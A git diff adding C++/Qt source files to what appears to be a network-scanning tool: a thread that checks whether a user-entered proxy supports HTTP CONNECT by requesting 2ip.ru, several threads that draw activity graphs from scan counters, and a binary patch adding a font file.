+void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + destroychPThFlag = false; + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + setsockopt(pSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int)); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + closesocket(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] " + QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + closesocket(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("[Fail] Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.h b/CheckProxy_Th.h new file mode 100644 index 0000000..d7dabd0 --- /dev/null +++ b/CheckProxy_Th.h @@ -0,0 +1,28 @@ +#ifndef CHECKPROXY_TH_H +#define CHECKPROXY_TH_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class CheckProxy_Th : public QThread +{ + Q_OBJECT + +public: signals: void changeRedIRCData(QString); +public: signals: void changeGreenIRCData(QString); +public: signals: void changeYellowIRCData(QString); +public: signals: void changeRawIRCDataInc(QString); +public: signals: void changeRawIRCDataOut(QString); + +public: + void doEmitChangeRedIRCData(QString str); + void doEmitChangeGreenIRCData(QString str); + void doEmitChangeYellowIRCData(QString str); + void doEmitChangeRawIRCDataOut(QString str); + void doEmitChangeRawIRCDataInc(QString str); +protected: + void run(); +}; +extern CheckProxy_Th *chPTh; +#endif // CHECKPROXY_TH_H diff --git a/DrawerTh_GridQoSScanner.cpp b/DrawerTh_GridQoSScanner.cpp new file mode 100644 index 0000000..1b813fa --- /dev/null +++ b/DrawerTh_GridQoSScanner.cpp @@ -0,0 +1,23 @@ +#include "DrawerTh_GridQoSScanner.h" +#include "STh.h" + +void DrawerTh_GridQoSScanner::doEmitAddLine() +{ + emit dtGridQoS->sAddLine(); +}; + +void DrawerTh_GridQoSScanner::run() +{ + while(QoSScanFlag) + { + if(stt->isRunning() == true) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++QoSStep; + emit dtGridQoS->doEmitAddLine(); + }; + }; + msleep(2000); + }; +}; \ No newline at end of file diff --git a/DrawerTh_GridQoSScanner.h b/DrawerTh_GridQoSScanner.h new file mode 100644 index 0000000..e544a0a --- /dev/null +++ b/DrawerTh_GridQoSScanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_GRIDQOSSCANNER_H +#define DRAWERTH_GRIDQOSSCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_GridQoSScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); + +public: + void doEmitAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_GridQoSScanner *dtGridQoS; +#endif // DRAWERTH_GRIDQOSSCANNER_H diff --git a/DrawerTh_HorNet.cpp b/DrawerTh_HorNet.cpp new file mode 100644 index 0000000..1e92a28 --- /dev/null +++ b/DrawerTh_HorNet.cpp @@ -0,0 +1,42 @@ +#include "DrawerTh_HorNet.h" + +void DrawerTh_HorNet::run() +{ + qsrand (QDateTime::currentMSecsSinceEpoch()); + int factor = 0; + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + + dtHN->doEmitionAddDelimLines(); + + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + ++factor > 9 ? factor = 0 : NULL; + dtHN->doEmitionDrawGrid(); + + for(int i = 0; i < gHeight; i += 10) + { + QApplication::processEvents(); + dtHN->doEmitionAddLine(0, i + factor, gWidth, i + factor); + QApplication::processEvents(); + }; + }; + msleep(200); + }; +}; + +void DrawerTh_HorNet::doEmitionDrawGrid() +{ + emit dtHN->sDrawGrid(); +}; +void DrawerTh_HorNet::doEmitionAddLine(int x1, int y1, int x2, int y2) +{ + emit dtHN->sAddLine(x1, y1, x2, y2); +}; +void DrawerTh_HorNet::doEmitionAddDelimLines() +{ + emit dtHN->sAddDelimLines(); +}; \ No newline at end of file diff --git a/DrawerTh_HorNet.h b/DrawerTh_HorNet.h new file mode 100644 index 0000000..e47d4bd --- /dev/null +++ b/DrawerTh_HorNet.h @@ -0,0 +1,26 @@ +#ifndef DRAWERTH_HORNET_H +#define DRAWERTH_HORNET_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_HorNet : public QThread +{ + Q_OBJECT + +public: + static void doEmitionDrawGrid(); + static void doEmitionAddLine(int x1, int y1, int x2, int y2); + static void doEmitionAddDelimLines(); + +public: signals: void sAddDelimLines(); +public: signals: void sAddLine(int, int, int, int); +public: signals: void sDrawGrid(); + +protected: + void run(); +}; + +extern DrawerTh_HorNet *dtHN; +#endif // DRAWERTH_HORNET_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp new file mode 100644 index 0000000..34accd3 --- /dev/null +++ b/DrawerTh_ME2Scanner.cpp @@ -0,0 +1,148 @@ +#include "DrawerTh_ME2Scanner.h" +#include "STh.h" + +void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() +{ + emit dtME2->sDrawTextPlacers(); +}; + +void DrawerTh_ME2Scanner::doEmitionAddPolyLine() +{ + emit dtME2->sAddPolyLine(); +}; +void MakePolygonLine(int gWidth) +{ + vect.clear(); + int x = 0; + int tx = 0; + int xtx = 0; + QPointF qp(0, 20); + vect.append(qp); + int fact1 = 0, + fact2 = 0, + fact3 = 0, + fact4 = 0, + fact5 = 0, + fact6 = 0, + fact7 = 0; + + bool state = stt->isRunning(); + for(int i = 1; i < 130; ++i) + { + x = qrand() % 4 + 2 + i; + xtx = x + tx; + if(xtx > 1 && xtx < 31) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - AnomC1*2 - fact1 : 20); + if(AnomC1 > 0) + { + if(xtx < 16 ) fact1+=2; + else fact1-=2; + }; + } + + if(xtx > 34 && xtx < 72) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + + if(WF > 0) + { + if(xtx < 52 ) fact2+=2; + else fact2-=2; + }; + } + + if(xtx > 74 && xtx < 112) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - BA*2 - fact3 : 20); + + if(BA > 0) + { + if(xtx < 92 ) fact3+=2; + else fact3-=2; + }; + } + + if(xtx > 114 && xtx < 152) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Susp*2 - fact4 : 20); + + if(Susp > 0) + { + if(xtx < 132 ) fact4+=2; + else fact4-=2; + }; + } + + if(xtx > 154 && xtx < 192) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Overl*2 - fact5 : 20); + + if(Overl > 0) + { + if(xtx < 172 ) fact5+=2; + else fact5-=2; + }; + } + + if(xtx > 194 && xtx < 232) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Lowl*2 - fact6 : 20); + + if(Lowl > 0) + { + if(xtx < 212 ) fact6+=2; + else fact6-=2; + }; + } + + if(xtx > 234 && xtx < 269) + { + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - Alive*2 - fact7 : 20); + + if(Alive > 0) + { + if(xtx < 252 ) fact7+=2; + else fact7-=2; + }; + }; + + vect.append(qp); + tx = x; + }; + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + vect.append(QPointF(gWidth, 20)); +}; +void DrawerTh_ME2Scanner::run() +{ + int gWidth = ui->graphicLog->width(); + dtME2->doEmitDrawTextPlacers(); + while(ME2ScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + MakePolygonLine(gWidth); + dtME2->doEmitionAddPolyLine(); + } + else + { + msleep(1000); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + }; + msleep(150); + }; +}; \ No newline at end of file diff --git a/DrawerTh_ME2Scanner.h b/DrawerTh_ME2Scanner.h new file mode 100644 index 0000000..fe1f0cd --- /dev/null +++ b/DrawerTh_ME2Scanner.h @@ -0,0 +1,23 @@ +#ifndef DRAWERTH_ME2SCANNER_H +#define DRAWERTH_ME2SCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_ME2Scanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddPolyLine(); + static void doEmitDrawTextPlacers(); + +public: signals: void sAddPolyLine(); +public: signals: void sDrawTextPlacers(); + +protected: + void run(); +}; +extern DrawerTh_ME2Scanner *dtME2; +#endif // DRAWERTH_ME2SCANNER_H diff --git a/DrawerTh_QoSScanner.cpp b/DrawerTh_QoSScanner.cpp new file mode 100644 index 0000000..fb8a96c --- /dev/null +++ b/DrawerTh_QoSScanner.cpp @@ -0,0 +1,61 @@ +#pragma once +#include "DrawerTh_QoSScanner.h" +#include "STh.h" + +void DrawerTh_QoSScanner::run() +{ + while(QoSScanFlag) + { + tMax = 0; + + if(stt->isRunning() == true && widgetIsHidden == false && tray->isVisible() == false && QOSWait == false) + { + lstOfLabels.clear(); + lstOfLabels.append(Alive); + lstOfLabels.append(AnomC1); + lstOfLabels.append(WF); + lstOfLabels.append(Susp); + lstOfLabels.append(Lowl); + lstOfLabels.append((int)BA); + lstOfLabels.append(Overl); + lstOfLabels.append(ssh); + + QList lstOfLabelsCopy = lstOfLabels; + qSort(lstOfLabelsCopy.begin(), lstOfLabelsCopy.end(), qGreater()); + int curVal = lstOfLabelsCopy[0]; + if(curVal > MaxDataVal) MaxDataVal = curVal; + if(curVal > tMax) tMax = curVal; + + dtQoS->doEmitionAddLine(); + } + else + { + msleep(500); + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + }; + + AnomC1 = 0; + WF = 0; + BA = 0; + Filt = 0; + Overl = 0; + Lowl = 0; + Alive = 0; + Susp = 0; + ssh = 0; + msleep(2000); + }; +}; + +void DrawerTh_QoSScanner::doEmitionAddLine() +{ + emit dtQoS->sAddLine(); +}; \ No newline at end of file diff --git a/DrawerTh_QoSScanner.h b/DrawerTh_QoSScanner.h new file mode 100644 index 0000000..27be0e2 --- /dev/null +++ b/DrawerTh_QoSScanner.h @@ -0,0 +1,22 @@ +#ifndef DRAWERTH_QOSSCANNER_H +#define DRAWERTH_QOSSCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_QoSScanner : public QThread +{ + Q_OBJECT + +public: + static void doEmitionAddLine(); + +public: signals: void sAddLine(); + +protected: + void run(); +}; + +extern DrawerTh_QoSScanner *dtQoS; +#endif // DRAWERTH_QOSSCANNER_H diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp new file mode 100644 index 0000000..b57869f --- /dev/null +++ b/DrawerTh_VoiceScanner.cpp @@ -0,0 +1,134 @@ +#include "DrawerTh_VoiceScanner.h" + +void DrawerTh_VoiceScanner::doEmitAddLine() +{ + emit vsTh->sAddLine(); +}; +void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) +{ + emit vsTh->sDrawGrid(factor); +}; +void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() +{ + emit vsTh->sDrawTextPlacers(); +}; + +void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH) +{ + if(vAlivLst.size() < 140) + { + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + } + else + { + vAlivLst.pop_front(); + if(Al > 0) vAlivLst.push_back((Al + 1)*10); + }; + + if(vAnomLst.size() < 140) + { + if(An > 0) vAnomLst.push_back((An + 1)*10); + } + else + { + vAnomLst.pop_front(); + if(An > 0) vAnomLst.push_back((An + 1)*10); + }; + + if(vWFLst.size() < 140) + { + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + } + else + { + vWFLst.pop_front(); + if(Bd > 0) vWFLst.push_back((Bd + 1)*10); + }; + + if(vSuspLst.size() < 140) + { + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + } + else + { + vSuspLst.pop_front(); + if(Sp > 0) vSuspLst.push_back((Sp + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + } + else + { + vLowlLst.pop_front(); + if(Lo > 0) vLowlLst.push_back((Lo + 1)*10); + }; + + if(vLowlLst.size() < 140) + { + if(var > 0) vBALst.push_back((var + 1)*10); + } + else + { + vBALst.pop_front(); + if(var > 0) vBALst.push_back((var + 1)*10); + }; + + if(vOvrlLst.size() < 140) + { + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + } + else + { + vOvrlLst.pop_front(); + if(Ovl > 0) vOvrlLst.push_back((Ovl + 1)*10); + }; + + if(vSSHLst.size() < 140) + { + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + } + else + { + vSSHLst.pop_front(); + if(SSH > 0) vSSHLst.push_back((SSH + 1)*10); + }; +}; +void DrawerTh_VoiceScanner::run() +{ + vsTh->doEmitDrawGrid(150); + vsTh->doEmitDrawTextPlacers(); + while(VoiceScanFlag) + { + if(widgetIsHidden == false && tray->isVisible() == false) + { + makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, BA, Overl, WF, ssh); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + + vsTh->doEmitAddLine(); + msleep(150); + } + else + { + msleep(500); + Alive = 0; + AnomC1 = 0; + WF = 0; + Filt = 0; + Lowl = 0; + BA = 0; + Overl = 0; + Susp = 0; + ssh = 0; + }; + }; +}; \ No newline at end of file diff --git a/DrawerTh_VoiceScanner.h b/DrawerTh_VoiceScanner.h new file mode 100644 index 0000000..3da5997 --- /dev/null +++ b/DrawerTh_VoiceScanner.h @@ -0,0 +1,24 @@ +#ifndef DRAWERTH_VOICESCANNER_H +#define DRAWERTH_VOICESCANNER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class DrawerTh_VoiceScanner : public QThread +{ + Q_OBJECT + +public: +public: signals: void sAddLine(); +public: signals: void sDrawGrid(int factor); +public: signals: void sDrawTextPlacers(); +public: + void doEmitAddLine(); + void doEmitDrawGrid(int factor); + void doEmitDrawTextPlacers(); +protected: + void run(); +}; +extern DrawerTh_VoiceScanner *vsTh; +#endif // DRAWERTH_VOICESCANNER_H diff --git a/Eurostile.ttf b/Eurostile.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f10707a8e1e4761e6d73f64af4b925d0006317b7 GIT binary patch literal 38116 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 